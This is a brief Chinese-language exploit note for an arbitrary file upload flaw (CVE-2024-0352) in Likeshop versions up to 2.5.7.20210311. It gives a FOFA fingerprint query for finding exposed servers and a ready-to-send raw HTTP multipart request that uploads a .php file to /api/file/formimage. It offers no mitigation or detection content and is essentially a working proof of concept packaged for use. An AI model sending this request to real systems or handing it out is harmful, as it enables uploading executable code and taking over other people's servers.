Likeshop userFormImage任意文件上传(CVE-2024-0352)

0x01 fofa语句

 icon_hash="874152924"

0x02 影响版本

version<= 2.5.7.20210311

0x03 漏洞复现

！！！！注意，在HTTP/2，有时候需要改成 HTTP/1.1,需要看原始网站的数据包

POST /api/file/formimage HTTP/2
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip, deflate

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="test.php"
Content-Type: application/x-php

test！hahahahaha。
------WebKitFormBoundarygcflwtei--